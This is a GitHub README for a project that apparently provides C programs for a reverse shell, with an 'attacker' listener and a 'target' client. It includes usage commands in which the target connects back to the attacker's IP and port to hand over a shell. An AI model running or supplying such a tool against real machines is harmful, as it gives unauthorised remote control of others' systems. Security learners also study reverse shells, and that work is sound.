Skip to content

Latest commit

 

History

History
34 lines (25 loc) · 1.08 KB

README.md

File metadata and controls

34 lines (25 loc) · 1.08 KB

reverseShell

GitHub Issues contributions welcome

👨‍💻 Script in C which after compiling can be used by an Attacker to gain a shell of Target machine.

Usage

Firstly, you should compile the above C programs. In my case I used g++ compiler and gave the output files name as attacker and target respectively.

1. Setup a server and listen for incoming connections.

On your machine setup a server and start listening on a port.

./attacker 1234

2. Execute client script on target and setup a connection to the server

You can do this by simply executing the target compiled file

./target 192.168.0.2 1234

Now you should have gained a shell on the server machine.

Demo

Alt Text

License

MIT © y_k_007